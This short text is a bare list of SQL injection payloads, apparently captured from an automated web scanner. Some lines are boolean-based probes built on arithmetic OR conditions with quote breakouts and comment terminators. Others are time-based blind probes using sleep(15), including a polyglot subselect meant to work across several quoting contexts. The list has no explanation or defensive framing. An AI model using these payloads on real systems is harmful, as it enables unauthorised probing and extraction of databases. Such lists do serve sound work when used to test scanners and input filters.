1

-1 OR 2+304-304-1=0+0+0+1 --

-1 OR 2+829-829-1=0+0+0+1

-1' OR 2+64-64-1=0+0+0+1 --

-1' OR 2+670-670-1=0+0+0+1 or 'UKosQ6GB'='

-1" OR 2+546-546-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/